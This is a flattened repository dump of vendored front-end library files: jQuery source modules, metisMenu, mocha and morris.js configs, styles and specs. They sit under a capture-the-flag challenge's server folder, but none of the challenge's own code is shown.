"jQuery.Deferred exception: " + error.message, error.stack, stack ); 18 | } 19 | }; 20 | 21 | } ); 22 | -------------------------------------------------------------------------------- /2018/wctf-belluminar/mimicdb/server/bower_components/jquery/src/deprecated.js: -------------------------------------------------------------------------------- 1 | define( [ 2 | "./core" 3 | ], function( jQuery ) { 4 | 5 | "use strict"; 6 | 7 | jQuery.fn.extend( { 8 | 9 | bind: function( types, data, fn ) { 10 | return this.on( types, null, data, fn ); 11 | }, 12 | unbind: function( types, fn ) { 13 | return this.off( types, null, fn ); 14 | }, 15 | 16 | delegate: function( selector, types, data, fn ) { 17 | return this.on( types, selector, data, fn ); 18 | }, 19 | undelegate: function( selector, types, fn ) { 20 | 21 | // ( namespace ) or ( selector, types [, fn] ) 22 | return arguments.length === 1 ? 23 | this.off( selector, "**" ) : 24 | this.off( types, selector || "**", fn ); 25 | } 26 | } ); 27 | 28 | jQuery.parseJSON = JSON.parse; 29 | 30 | } ); 31 | -------------------------------------------------------------------------------- /2018/wctf-belluminar/mimicdb/server/bower_components/jquery/src/effects/animatedSelector.js: -------------------------------------------------------------------------------- 1 | define( [ 2 | "../core", 3 | "../selector", 4 | "../effects" 5 | ], function( jQuery ) { 6 | 7 | "use strict"; 8 | 9 | jQuery.expr.pseudos.animated = function( elem ) { 10 | return jQuery.grep( jQuery.timers, function( fn ) { 11 | return elem === fn.elem; 12 | } ).length; 13 | }; 14 | 15 | } ); 16 | -------------------------------------------------------------------------------- /2018/wctf-belluminar/mimicdb/server/bower_components/jquery/src/event/ajax.js: -------------------------------------------------------------------------------- 1 | define( [ 2 | "../core", 3 | "../event" 4 | ], function( jQuery ) { 5 | 6 | "use strict"; 7 | 8 | // Attach a bunch of functions for handling common AJAX events 9 | jQuery.each( [ 10 | "ajaxStart", 11 | "ajaxStop", 12 | "ajaxComplete", 13 | "ajaxError", 14 | "ajaxSuccess", 15 | "ajaxSend" 16 | ], function( i, type ) { 17 | jQuery.fn[ type ] = function( fn ) { 18 | return this.on( type, fn ); 19 | }; 20 | } ); 21 | 22 | } ); 23 | -------------------------------------------------------------------------------- /2018/wctf-belluminar/mimicdb/server/bower_components/jquery/src/event/alias.js: -------------------------------------------------------------------------------- 1 | define( [ 2 | "../core", 3 | 4 | "../event", 5 | "./trigger" 6 | ], function( jQuery ) { 7 | 8 | "use strict"; 9 | 10 | jQuery.each( ( "blur focus focusin focusout resize scroll click dblclick " + 11 | "mousedown mouseup mousemove mouseover mouseout mouseenter mouseleave " + 12 | "change select submit keydown keypress keyup contextmenu" ).split( " " ), 13 | function( i, name ) { 14 | 15 | // Handle event binding 16 | jQuery.fn[ name ] = function( data, fn ) { 17 | return arguments.length > 0 ? 18 | this.on( name, null, data, fn ) : 19 | this.trigger( name ); 20 | }; 21 | } ); 22 | 23 | jQuery.fn.extend( { 24 | hover: function( fnOver, fnOut ) { 25 | return this.mouseenter( fnOver ).mouseleave( fnOut || fnOver ); 26 | } 27 | } ); 28 | 29 | } ); 30 | -------------------------------------------------------------------------------- /2018/wctf-belluminar/mimicdb/server/bower_components/jquery/src/event/support.js: -------------------------------------------------------------------------------- 1 | define( [ 2 | "../var/support" 3 | ], function( support ) { 4 | 5 | "use strict"; 6 | 7 | support.focusin = "onfocusin" in window; 8 | 9 | return support; 10 | 11 | } ); 12 | -------------------------------------------------------------------------------- /2018/wctf-belluminar/mimicdb/server/bower_components/jquery/src/exports/global.js: -------------------------------------------------------------------------------- 1 | define( [ 2 | "../core" 3 | ], function( jQuery, noGlobal ) { 4 | 5 | "use strict"; 6 | 7 | var 8 | 9 | // Map over jQuery in case of overwrite 10 | _jQuery = window.jQuery, 11 | 12 | // Map over the $ in case of overwrite 13 | _$ = window.$; 14 | 15 | jQuery.noConflict = function( deep ) { 16 | if ( window.$ === jQuery ) { 17 | window.$ = _$; 18 | } 19 | 20 | if ( deep && window.jQuery === jQuery ) { 21 | window.jQuery = _jQuery; 22 | } 23 | 24 | return jQuery; 25 | }; 26 | 27 | // Expose jQuery and $ identifiers, even in AMD 28 | // (#7102#comment:10, https://github.com/jquery/jquery/pull/557) 29 | // and CommonJS for browser emulators (#13566) 30 | if ( !noGlobal ) { 31 | window.jQuery = window.$ = jQuery; 32 | } 33 | 34 | } ); 35 | -------------------------------------------------------------------------------- /2018/wctf-belluminar/mimicdb/server/bower_components/jquery/src/jquery.js: -------------------------------------------------------------------------------- 1 | define( [ 2 | "./core", 3 | "./selector", 4 | "./traversing", 5 | "./callbacks", 6 | "./deferred", 7 | "./deferred/exceptionHook", 8 | "./core/ready", 9 | "./data", 10 | "./queue", 11 | "./queue/delay", 12 | "./attributes", 13 | "./event", 14 | "./event/alias", 15 | "./event/focusin", 16 | "./manipulation", 17 | "./manipulation/_evalUrl", 18 | "./wrap", 19 | "./css", 20 | "./css/hiddenVisibleSelectors", 21 | "./serialize", 22 | "./ajax", 23 | "./ajax/xhr", 24 | "./ajax/script", 25 | "./ajax/jsonp", 26 | "./ajax/load", 27 | "./event/ajax", 28 | "./effects", 29 | "./effects/animatedSelector", 30 | "./offset", 31 | "./dimensions", 32 | "./deprecated", 33 | "./exports/amd", 34 | "./exports/global" 35 | ], function( jQuery ) { 36 | 37 | "use strict"; 38 | 39 | return jQuery; 40 | 41 | } ); 42 | -------------------------------------------------------------------------------- /2018/wctf-belluminar/mimicdb/server/bower_components/jquery/src/manipulation/_evalUrl.js: -------------------------------------------------------------------------------- 1 | define( [ 2 | "../ajax" 3 | ], function( jQuery ) { 4 | 5 | "use strict"; 6 | 7 | jQuery._evalUrl = function( url ) { 8 | return jQuery.ajax( { 9 | url: url, 10 | 11 | // Make this explicit, since user can override this through ajaxSetup (#11264) 12 | type: "GET", 13 | dataType: "script", 14 | cache: true, 15 | async: false, 16 | global: false, 17 | "throws": true 18 | } ); 19 | }; 20 | 21 | return jQuery._evalUrl; 22 | 23 | } ); 24 | -------------------------------------------------------------------------------- /2018/wctf-belluminar/mimicdb/server/bower_components/jquery/src/manipulation/getAll.js: -------------------------------------------------------------------------------- 1 | define( [ 2 | "../core" 3 | ], function( jQuery ) { 4 | 5 | "use strict"; 6 | 7 | function getAll( context, tag ) { 8 | 9 | // Support: IE <=9 - 11 only 10 | // Use typeof to avoid zero-argument method invocation on host objects (#15151) 11 | var ret; 12 | 13 | if ( typeof context.getElementsByTagName !== "undefined" ) { 14 | ret = context.getElementsByTagName( tag || "*" ); 15 | 16 | } else if ( typeof context.querySelectorAll !== "undefined" ) { 17 | ret = context.querySelectorAll( tag || "*" ); 18 | 19 | } else { 20 | ret = []; 21 | } 22 | 23 | if ( tag === undefined || tag && jQuery.nodeName( context, tag ) ) { 24 | return jQuery.merge( [ context ], ret ); 25 | } 26 | 27 | return ret; 28 | } 29 | 30 | return getAll; 31 | } ); 32 | -------------------------------------------------------------------------------- /2018/wctf-belluminar/mimicdb/server/bower_components/jquery/src/manipulation/setGlobalEval.js: -------------------------------------------------------------------------------- 1 | define( [ 2 | "../data/var/dataPriv" 3 | ], function( dataPriv ) { 4 | 5 | "use strict"; 6 | 7 | // Mark scripts as having already been evaluated 8 | function setGlobalEval( elems, refElements ) { 9 | var i = 0, 10 | l = elems.length; 11 | 12 | for ( ; i < l; i++ ) { 13 | dataPriv.set( 14 | elems[ i ], 15 | "globalEval", 16 | !refElements || dataPriv.get( refElements[ i ], "globalEval" ) 17 | ); 18 | } 19 | } 20 | 21 | return setGlobalEval; 22 | } ); 23 | -------------------------------------------------------------------------------- /2018/wctf-belluminar/mimicdb/server/bower_components/jquery/src/manipulation/var/rcheckableType.js: -------------------------------------------------------------------------------- 1 | define( function() { 2 | "use strict"; 3 | 4 | return ( /^(?:checkbox|radio)$/i ); 5 | } ); 6 | -------------------------------------------------------------------------------- /2018/wctf-belluminar/mimicdb/server/bower_components/jquery/src/manipulation/var/rscriptType.js: -------------------------------------------------------------------------------- 1 | define( function() { 2 | "use strict"; 3 | 4 | return ( /^$|\/(?:java|ecma)script/i ); 5 | } ); 6 | -------------------------------------------------------------------------------- /2018/wctf-belluminar/mimicdb/server/bower_components/jquery/src/manipulation/var/rtagName.js: -------------------------------------------------------------------------------- 1 | define( function() { 2 | "use strict"; 3 | 4 | return ( /<([a-z][^\/\0>\x20\t\r\n\f]+)/i ); 5 | } ); 6 | -------------------------------------------------------------------------------- /2018/wctf-belluminar/mimicdb/server/bower_components/jquery/src/manipulation/wrapMap.js: -------------------------------------------------------------------------------- 1 | define( function() { 2 | 3 | "use strict"; 4 | 5 | // We have to close these tags to support XHTML (#13200) 6 | var wrapMap = { 7 | 8 | // Support: IE <=9 only 9 | option: [ 1, "" ], 10 | 11 | // XHTML parsers do not magically insert elements in the 12 | // same way that tag soup parsers do. So we cannot shorten 13 | // this by omitting or other required elements. 14 | thead: [ 1, "", "
" ], 15 | col: [ 2, "", "
" ], 16 | tr: [ 2, "", "
" ], 17 | td: [ 3, "", "
" ], 18 | 19 | _default: [ 0, "", "" ] 20 | }; 21 | 22 | // Support: IE <=9 only 23 | wrapMap.optgroup = wrapMap.option; 24 | 25 | wrapMap.tbody = wrapMap.tfoot = wrapMap.colgroup = wrapMap.caption = wrapMap.thead; 26 | wrapMap.th = wrapMap.td; 27 | 28 | return wrapMap; 29 | } ); 30 | -------------------------------------------------------------------------------- /2018/wctf-belluminar/mimicdb/server/bower_components/jquery/src/queue/delay.js: -------------------------------------------------------------------------------- 1 | define( [ 2 | "../core", 3 | "../queue", 4 | "../effects" // Delay is optional because of this dependency 5 | ], function( jQuery ) { 6 | 7 | "use strict"; 8 | 9 | // Based off of the plugin by Clint Helfers, with permission. 10 | // https://web.archive.org/web/20100324014747/http://blindsignals.com/index.php/2009/07/jquery-delay/ 11 | jQuery.fn.delay = function( time, type ) { 12 | time = jQuery.fx ? jQuery.fx.speeds[ time ] || time : time; 13 | type = type || "fx"; 14 | 15 | return this.queue( type, function( next, hooks ) { 16 | var timeout = window.setTimeout( next, time ); 17 | hooks.stop = function() { 18 | window.clearTimeout( timeout ); 19 | }; 20 | } ); 21 | }; 22 | 23 | return jQuery.fn.delay; 24 | } ); 25 | -------------------------------------------------------------------------------- /2018/wctf-belluminar/mimicdb/server/bower_components/jquery/src/selector-sizzle.js: -------------------------------------------------------------------------------- 1 | define( [ 2 | "./core", 3 | "../external/sizzle/dist/sizzle" 4 | ], function( jQuery, Sizzle ) { 5 | 6 | "use strict"; 7 | 8 | jQuery.find = Sizzle; 9 | jQuery.expr = Sizzle.selectors; 10 | 11 | // Deprecated 12 | jQuery.expr[ ":" ] = jQuery.expr.pseudos; 13 | jQuery.uniqueSort = jQuery.unique = Sizzle.uniqueSort; 14 | jQuery.text = Sizzle.getText; 15 | jQuery.isXMLDoc = Sizzle.isXML; 16 | jQuery.contains = Sizzle.contains; 17 | jQuery.escapeSelector = Sizzle.escape; 18 | 19 | } ); 20 | -------------------------------------------------------------------------------- /2018/wctf-belluminar/mimicdb/server/bower_components/jquery/src/selector.js: -------------------------------------------------------------------------------- 1 | define( [ "./selector-sizzle" ], function() { 2 | "use strict"; 3 | } ); 4 | -------------------------------------------------------------------------------- /2018/wctf-belluminar/mimicdb/server/bower_components/jquery/src/traversing/var/dir.js: -------------------------------------------------------------------------------- 1 | define( [ 2 | "../../core" 3 | ], function( jQuery ) { 4 | 5 | "use strict"; 6 | 7 | return function( elem, dir, until ) { 8 | var matched = [], 9 | truncate = until !== undefined; 10 | 11 | while ( ( elem = elem[ dir ] ) && elem.nodeType !== 9 ) { 12 | if ( elem.nodeType === 1 ) { 13 | if ( truncate && jQuery( elem ).is( until ) ) { 14 | break; 15 | } 16 | matched.push( elem ); 17 | } 18 | } 19 | return matched; 20 | }; 21 | 22 | } ); 23 | -------------------------------------------------------------------------------- /2018/wctf-belluminar/mimicdb/server/bower_components/jquery/src/traversing/var/rneedsContext.js: -------------------------------------------------------------------------------- 1 | define( [ 2 | "../../core", 3 | "../../selector" 4 | ], function( jQuery ) { 5 | "use strict"; 6 | 7 | return jQuery.expr.match.needsContext; 8 | } ); 9 | -------------------------------------------------------------------------------- /2018/wctf-belluminar/mimicdb/server/bower_components/jquery/src/traversing/var/siblings.js: -------------------------------------------------------------------------------- 1 | define( function() { 2 | 3 | "use strict"; 4 | 5 | return function( n, elem ) { 6 | var matched = []; 7 | 8 | for ( ; n; n = n.nextSibling ) { 9 | if ( n.nodeType === 1 && n !== elem ) { 10 | matched.push( n ); 11 | } 12 | } 13 | 14 | return matched; 15 | }; 16 | 17 | } ); 18 | -------------------------------------------------------------------------------- /2018/wctf-belluminar/mimicdb/server/bower_components/jquery/src/var/ObjectFunctionString.js: -------------------------------------------------------------------------------- 1 | define( [ 2 | "./fnToString" 3 | ], function( fnToString ) { 4 | "use strict"; 5 | 6 | return fnToString.call( Object ); 7 | } ); 8 | -------------------------------------------------------------------------------- /2018/wctf-belluminar/mimicdb/server/bower_components/jquery/src/var/arr.js: -------------------------------------------------------------------------------- 1 | define( function() { 2 | "use strict"; 3 | 4 | return []; 5 | } ); 6 | -------------------------------------------------------------------------------- /2018/wctf-belluminar/mimicdb/server/bower_components/jquery/src/var/class2type.js: -------------------------------------------------------------------------------- 1 | define( function() { 2 | "use strict"; 3 | 4 | // [[Class]] -> type pairs 5 | return {}; 6 | } ); 7 | -------------------------------------------------------------------------------- /2018/wctf-belluminar/mimicdb/server/bower_components/jquery/src/var/concat.js: -------------------------------------------------------------------------------- 1 | define( [ 2 | "./arr" 3 | ], function( arr ) { 4 | "use strict"; 5 | 6 | return arr.concat; 7 | } ); 8 | -------------------------------------------------------------------------------- /2018/wctf-belluminar/mimicdb/server/bower_components/jquery/src/var/document.js: -------------------------------------------------------------------------------- 1 | define( function() { 2 | "use strict"; 3 | 4 | return window.document; 5 | } ); 6 | -------------------------------------------------------------------------------- /2018/wctf-belluminar/mimicdb/server/bower_components/jquery/src/var/documentElement.js: -------------------------------------------------------------------------------- 1 | define( [ 2 | "./document" 3 | ], function( document ) { 4 | "use strict"; 5 | 6 | return document.documentElement; 7 | } ); 8 | -------------------------------------------------------------------------------- /2018/wctf-belluminar/mimicdb/server/bower_components/jquery/src/var/fnToString.js: -------------------------------------------------------------------------------- 1 | define( [ 2 | "./hasOwn" 3 | ], function( hasOwn ) { 4 | "use strict"; 5 | 6 | return hasOwn.toString; 7 | } ); 8 | -------------------------------------------------------------------------------- /2018/wctf-belluminar/mimicdb/server/bower_components/jquery/src/var/getProto.js: -------------------------------------------------------------------------------- 1 | define( function() { 2 | "use strict"; 3 | 4 | return Object.getPrototypeOf; 5 | } ); 6 | -------------------------------------------------------------------------------- /2018/wctf-belluminar/mimicdb/server/bower_components/jquery/src/var/hasOwn.js: -------------------------------------------------------------------------------- 1 | define( [ 2 | "./class2type" 3 | ], function( class2type ) { 4 | "use strict"; 5 | 6 | return class2type.hasOwnProperty; 7 | } ); 8 | -------------------------------------------------------------------------------- /2018/wctf-belluminar/mimicdb/server/bower_components/jquery/src/var/indexOf.js: -------------------------------------------------------------------------------- 1 | define( [ 2 | "./arr" 3 | ], function( arr ) { 4 | "use strict"; 5 | 6 | return arr.indexOf; 7 | } ); 8 | -------------------------------------------------------------------------------- /2018/wctf-belluminar/mimicdb/server/bower_components/jquery/src/var/pnum.js: -------------------------------------------------------------------------------- 1 | define( function() { 2 | "use strict"; 3 | 4 | return ( /[+-]?(?:\d*\.|)\d+(?:[eE][+-]?\d+|)/ ).source; 5 | } ); 6 | -------------------------------------------------------------------------------- /2018/wctf-belluminar/mimicdb/server/bower_components/jquery/src/var/push.js: -------------------------------------------------------------------------------- 1 | define( [ 2 | "./arr" 3 | ], function( arr ) { 4 | "use strict"; 5 | 6 | return arr.push; 7 | } ); 8 | -------------------------------------------------------------------------------- /2018/wctf-belluminar/mimicdb/server/bower_components/jquery/src/var/rcssNum.js: -------------------------------------------------------------------------------- 1 | define( [ 2 | "../var/pnum" 3 | ], function( pnum ) { 4 | 5 | "use strict"; 6 | 7 | return new RegExp( "^(?:([+-])=|)(" + pnum + ")([a-z%]*)$", "i" ); 8 | 9 | } ); 10 | -------------------------------------------------------------------------------- /2018/wctf-belluminar/mimicdb/server/bower_components/jquery/src/var/rnothtmlwhite.js: -------------------------------------------------------------------------------- 1 | define( function() { 2 | "use strict"; 3 | 4 | // Only count HTML whitespace 5 | // Other whitespace should count in values 6 | // https://html.spec.whatwg.org/multipage/infrastructure.html#space-character 7 | return ( /[^\x20\t\r\n\f]+/g ); 8 | } ); 9 | -------------------------------------------------------------------------------- /2018/wctf-belluminar/mimicdb/server/bower_components/jquery/src/var/slice.js: -------------------------------------------------------------------------------- 1 | define( [ 2 | "./arr" 3 | ], function( arr ) { 4 | "use strict"; 5 | 6 | return arr.slice; 7 | } ); 8 | -------------------------------------------------------------------------------- /2018/wctf-belluminar/mimicdb/server/bower_components/jquery/src/var/support.js: -------------------------------------------------------------------------------- 1 | define( function() { 2 | "use strict"; 3 | 4 | // All support tests are defined in their respective modules. 5 | return {}; 6 | } ); 7 | -------------------------------------------------------------------------------- /2018/wctf-belluminar/mimicdb/server/bower_components/jquery/src/var/toString.js: -------------------------------------------------------------------------------- 1 | define( [ 2 | "./class2type" 3 | ], function( class2type ) { 4 | "use strict"; 5 | 6 | return class2type.toString; 7 | } ); 8 | -------------------------------------------------------------------------------- /2018/wctf-belluminar/mimicdb/server/bower_components/metisMenu/bower.json: -------------------------------------------------------------------------------- 1 | { 2 | "name": "metisMenu", 3 | "version": "1.1.3", 4 | "homepage": "https://github.com/onokumus/metisMenu", 5 | "authors": [ 6 | "onokumus " 7 | ], 8 | "description": "Easy menu jQuery plugin for Twitter Bootstrap 3", 9 | "main": [ 10 | "dist/metisMenu.js", 11 | "dist/metisMenu.css" 12 | ], 13 | "keywords": [ 14 | "twitter", 15 | "bootstrap", 16 | "twbs", 17 | "jquery", 18 | "menu", 19 | "accordion", 20 | "toggle", 21 | "metis", 22 | "metisMenu" 23 | ], 24 | "license": "MIT", 25 | "ignore": [ 26 | "**/.*", 27 | "node_modules", 28 | "bower_components", 29 | "test", 30 | "tests" 31 | ], 32 | "dependencies": { 33 | "bootstrap": "~3.3.0" 34 | } 35 | } 36 | -------------------------------------------------------------------------------- /2018/wctf-belluminar/mimicdb/server/bower_components/metisMenu/dist/metisMenu.min.css: -------------------------------------------------------------------------------- 1 | /* 2 | * metismenu - v1.1.3 3 | * Easy menu jQuery plugin for Twitter Bootstrap 3 4 | * https://github.com/onokumus/metisMenu 5 | * 6 | * Made by Osman Nuri Okumus 7 | * Under MIT License 8 | */ 9 | 10 | .arrow{float:right;line-height:1.42857}.glyphicon.arrow:before{content:"\e079"}.active>a>.glyphicon.arrow:before{content:"\e114"}.fa.arrow:before{content:"\f104"}.active>a>.fa.arrow:before{content:"\f107"}.plus-times{float:right}.fa.plus-times:before{content:"\f067"}.active>a>.fa.plus-times{filter:progid:DXImageTransform.Microsoft.BasicImage(rotation=1);-webkit-transform:rotate(45deg);-moz-transform:rotate(45deg);-ms-transform:rotate(45deg);-o-transform:rotate(45deg);transform:rotate(45deg)}.plus-minus{float:right}.fa.plus-minus:before{content:"\f067"}.active>a>.fa.plus-minus:before{content:"\f068"} -------------------------------------------------------------------------------- /2018/wctf-belluminar/mimicdb/server/bower_components/mocha/.bower.json: -------------------------------------------------------------------------------- 1 | { 2 | "name": "mocha", 3 | "version": "1.17.1", 4 | "main": "mocha.js", 5 | "ignore": [ 6 | "bin", 7 | "editors", 8 | "images", 9 | "lib", 10 | "support", 11 | "test", 12 | ".gitignore", 13 | ".npmignore", 14 | ".travis.yml", 15 | "component.json", 16 | "index.js", 17 | "Makefile", 18 | "package.json" 19 | ], 20 | "homepage": "https://github.com/mochajs/mocha", 21 | "_release": "1.17.1", 22 | "_resolution": { 23 | "type": "version", 24 | "tag": "1.17.1", 25 | "commit": "7fc565ee3e225cb7a66bf39ae9c2c05b346675c1" 26 | }, 27 | "_source": "https://github.com/mochajs/mocha.git", 28 | "_target": "~1.17.1", 29 | "_originalSource": "mocha" 30 | } -------------------------------------------------------------------------------- /2018/wctf-belluminar/mimicdb/server/bower_components/mocha/bower.json: -------------------------------------------------------------------------------- 1 | { 2 | "name": "mocha", 3 | "version": "1.17.1", 4 | "main": "mocha.js", 5 | "ignore": [ 6 | "bin", 7 | "editors", 8 | "images", 9 | "lib", 10 | "support", 11 | "test", 12 | ".gitignore", 13 | ".npmignore", 14 | ".travis.yml", 15 | "component.json", 16 | "index.js", 17 | "Makefile", 18 | "package.json" 19 | ] 20 | } 21 | -------------------------------------------------------------------------------- /2018/wctf-belluminar/mimicdb/server/bower_components/mocha/media/logo.svg: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 6 | 7 | mocha 8 | 9 | -------------------------------------------------------------------------------- /2018/wctf-belluminar/mimicdb/server/bower_components/morrisjs/.bower.json: -------------------------------------------------------------------------------- 1 | { 2 | "name": "morris.js", 3 | "version": "0.5.1", 4 | "main": [ 5 | "./morris.js", 6 | "./morris.css" 7 | ], 8 | "dependencies": { 9 | "jquery": ">= 2.1.0", 10 | "raphael": ">= 2.0", 11 | "mocha": "~1.17.1" 12 | }, 13 | "devDependencies": { 14 | "mocha": "~1.17.1", 15 | "chai": "~1.9.0", 16 | "chai-jquery": "~1.2.1", 17 | "sinon": "http://sinonjs.org/releases/sinon-1.8.1.js", 18 | "sinon-chai": "~2.5.0" 19 | }, 20 | "homepage": "https://github.com/morrisjs/morris.js", 21 | "_release": "0.5.1", 22 | "_resolution": { 23 | "type": "version", 24 | "tag": "0.5.1", 25 | "commit": "d5cf1410eda7055eaf2c7d218d4cb24ec5ed55c8" 26 | }, 27 | "_source": "https://github.com/morrisjs/morris.js.git", 28 | "_target": "~0.5.1", 29 | "_originalSource": "morrisjs" 30 | } -------------------------------------------------------------------------------- /2018/wctf-belluminar/mimicdb/server/bower_components/morrisjs/.gitignore: -------------------------------------------------------------------------------- 1 | build/ 2 | node_modules/ 3 | spec/viz/output/ 4 | spec/viz/diff/ 5 | bower_components 6 | .idea 7 | -------------------------------------------------------------------------------- /2018/wctf-belluminar/mimicdb/server/bower_components/morrisjs/.travis.yml: -------------------------------------------------------------------------------- 1 | language: node_js 2 | node_js: 3 | - 0.10 4 | before_script: 5 | - "npm install -g grunt-cli" 6 | - "npm install" 7 | - "cp -f bower.travis.json bower.json" 8 | - 'sed -i -e "s/JQUERY/$JQUERY/" bower.json' 9 | - 'sed -i -e "s/RAPHAEL/$RAPHAEL/" bower.json' 10 | - "bower install" 11 | env: 12 | - JQUERY="~> 1.8.0" RAPHAEL="~> 2.0.0" 13 | - JQUERY="~> 1.9.0" RAPHAEL="~> 2.0.0" 14 | - JQUERY="~> 2.0.0" RAPHAEL="~> 2.0.0" 15 | - JQUERY="~> 2.1.0" RAPHAEL="~> 2.0.0" 16 | - JQUERY="~> 1.8.0" RAPHAEL="~> 2.1.0" 17 | - JQUERY="~> 1.9.0" RAPHAEL="~> 2.1.0" 18 | - JQUERY="~> 2.0.0" RAPHAEL="~> 2.1.0" 19 | - JQUERY="~> 2.1.0" RAPHAEL="~> 2.1.0" 20 | -------------------------------------------------------------------------------- /2018/wctf-belluminar/mimicdb/server/bower_components/morrisjs/bower.json: -------------------------------------------------------------------------------- 1 | { 2 | "name": "morris.js", 3 | "version": "0.5.0", 4 | "main": [ 5 | "./morris.js", 6 | "./morris.css" 7 | ], 8 | "dependencies": { 9 | "jquery": ">= 2.1.0", 10 | "raphael": ">= 2.0", 11 | "mocha": "~1.17.1" 12 | }, 13 | "devDependencies": { 14 | "mocha": "~1.17.1", 15 | "chai": "~1.9.0", 16 | "chai-jquery": "~1.2.1", 17 | "sinon": "http://sinonjs.org/releases/sinon-1.8.1.js", 18 | "sinon-chai": "~2.5.0" 19 | } 20 | } 21 | -------------------------------------------------------------------------------- /2018/wctf-belluminar/mimicdb/server/bower_components/morrisjs/bower.travis.json: -------------------------------------------------------------------------------- 1 | { 2 | "name": "morris.js", 3 | "version": "0.5.0", 4 | "main": [ 5 | "./morris.js", 6 | "./morris.css" 7 | ], 8 | "dependencies": { 9 | "jquery": "JQUERY", 10 | "raphael": "RAPHAEL", 11 | "mocha": "~1.17.1" 12 | }, 13 | "devDependencies": { 14 | "mocha": "~1.17.1", 15 | "chai": "~1.9.0", 16 | "chai-jquery": "~1.2.1", 17 | "sinon": "http://sinonjs.org/releases/sinon-1.8.1.js", 18 | "sinon-chai": "~2.5.0" 19 | } 20 | } 21 | -------------------------------------------------------------------------------- /2018/wctf-belluminar/mimicdb/server/bower_components/morrisjs/examples/_template.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 10 | 11 | 12 |

Title

13 |
14 |
15 | // Insert code here:
16 | // it'll get eval()-ed and prettyprinted.
17 | 
18 | 19 | -------------------------------------------------------------------------------- /2018/wctf-belluminar/mimicdb/server/bower_components/morrisjs/examples/lib/example.css: -------------------------------------------------------------------------------- 1 | body { 2 | width: 800px; 3 | margin: 0 auto; 4 | } 5 | #graph { 6 | width: 800px; 7 | height: 250px; 8 | margin: 20px auto 0 auto; 9 | } 10 | pre { 11 | height: 250px; 12 | overflow: auto; 13 | } 14 | -------------------------------------------------------------------------------- /2018/wctf-belluminar/mimicdb/server/bower_components/morrisjs/examples/lib/example.js: -------------------------------------------------------------------------------- 1 | $(function () { 2 | eval($('#code').text()); 3 | prettyPrint(); 4 | }); -------------------------------------------------------------------------------- /2018/wctf-belluminar/mimicdb/server/bower_components/morrisjs/less/morris.core.less: -------------------------------------------------------------------------------- 1 | .morris-hover { 2 | position: absolute; 3 | z-index: 1000; 4 | 5 | &.morris-default-style { 6 | border-radius: 10px; 7 | padding: 6px; 8 | color: #666; 9 | background: rgba(255, 255, 255, 0.8); 10 | border: solid 2px rgba(230, 230, 230, 0.8); 11 | 12 | font-family: sans-serif; 13 | font-size: 12px; 14 | text-align: center; 15 | 16 | .morris-hover-row-label { 17 | font-weight: bold; 18 | margin: 0.25em 0; 19 | } 20 | 21 | .morris-hover-point { 22 | white-space: nowrap; 23 | margin: 0.1em 0; 24 | } 25 | } 26 | 27 | } 28 | -------------------------------------------------------------------------------- /2018/wctf-belluminar/mimicdb/server/bower_components/morrisjs/morris.css: -------------------------------------------------------------------------------- 1 | .morris-hover{position:absolute;z-index:1000}.morris-hover.morris-default-style{border-radius:10px;padding:6px;color:#666;background:rgba(255,255,255,0.8);border:solid 2px rgba(230,230,230,0.8);font-family:sans-serif;font-size:12px;text-align:center}.morris-hover.morris-default-style .morris-hover-row-label{font-weight:bold;margin:0.25em 0} 2 | .morris-hover.morris-default-style .morris-hover-point{white-space:nowrap;margin:0.1em 0} 3 | -------------------------------------------------------------------------------- /2018/wctf-belluminar/mimicdb/server/bower_components/morrisjs/spec/lib/grid/y_label_format_spec.coffee: -------------------------------------------------------------------------------- 1 | describe 'Morris.Grid#yLabelFormat', -> 2 | 3 | it 'should use custom formatter for y labels', -> 4 | formatter = (label) -> 5 | flabel = parseFloat(label) / 1000 6 | "#{flabel.toFixed(1)}k" 7 | line = Morris.Line 8 | element: 'graph' 9 | data: [{x: 1, y: 1500}, {x: 2, y: 2500}] 10 | xkey: 'x' 11 | ykeys: ['y'] 12 | labels: ['dontcare'] 13 | preUnits: "$" 14 | yLabelFormat: formatter 15 | line.yLabelFormat(1500).should.equal "1.5k" 16 | -------------------------------------------------------------------------------- /2018/wctf-belluminar/mimicdb/server/bower_components/morrisjs/spec/lib/pad_spec.coffee: -------------------------------------------------------------------------------- 1 | describe '#pad', -> 2 | 3 | it 'should pad numbers', -> 4 | Morris.pad2(0).should.equal("00") 5 | Morris.pad2(1).should.equal("01") 6 | Morris.pad2(2).should.equal("02") 7 | Morris.pad2(3).should.equal("03") 8 | Morris.pad2(4).should.equal("04") 9 | Morris.pad2(5).should.equal("05") 10 | Morris.pad2(6).should.equal("06") 11 | Morris.pad2(7).should.equal("07") 12 | Morris.pad2(8).should.equal("08") 13 | Morris.pad2(9).should.equal("09") 14 | Morris.pad2(10).should.equal("10") 15 | Morris.pad2(12).should.equal("12") 16 | Morris.pad2(34).should.equal("34") 17 | Morris.pad2(123).should.equal("123") -------------------------------------------------------------------------------- /2018/wctf-belluminar/mimicdb/server/bower_components/morrisjs/spec/support/placeholder.coffee: -------------------------------------------------------------------------------- 1 | beforeEach -> 2 | placeholder = $('
') 3 | $('#test').append(placeholder) 4 | 5 | afterEach -> 6 | $('#test').empty() 7 | -------------------------------------------------------------------------------- /2018/wctf-belluminar/mimicdb/server/bower_components/morrisjs/spec/viz/exemplary/area0.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/beched/ctf/c6288c4e371eace11fa9d23715ef1000fbb652cb/2018/wctf-belluminar/mimicdb/server/bower_components/morrisjs/spec/viz/exemplary/area0.png -------------------------------------------------------------------------------- /2018/wctf-belluminar/mimicdb/server/bower_components/morrisjs/spec/viz/exemplary/bar0.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/beched/ctf/c6288c4e371eace11fa9d23715ef1000fbb652cb/2018/wctf-belluminar/mimicdb/server/bower_components/morrisjs/spec/viz/exemplary/bar0.png -------------------------------------------------------------------------------- /2018/wctf-belluminar/mimicdb/server/bower_components/morrisjs/spec/viz/exemplary/line0.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/beched/ctf/c6288c4e371eace11fa9d23715ef1000fbb652cb/2018/wctf-belluminar/mimicdb/server/bower_components/morrisjs/spec/viz/exemplary/line0.png -------------------------------------------------------------------------------- /2018/wctf-belluminar/mimicdb/server/bower_components/morrisjs/spec/viz/exemplary/stacked_bar0.png: -------------------------------------------------------------------------------- 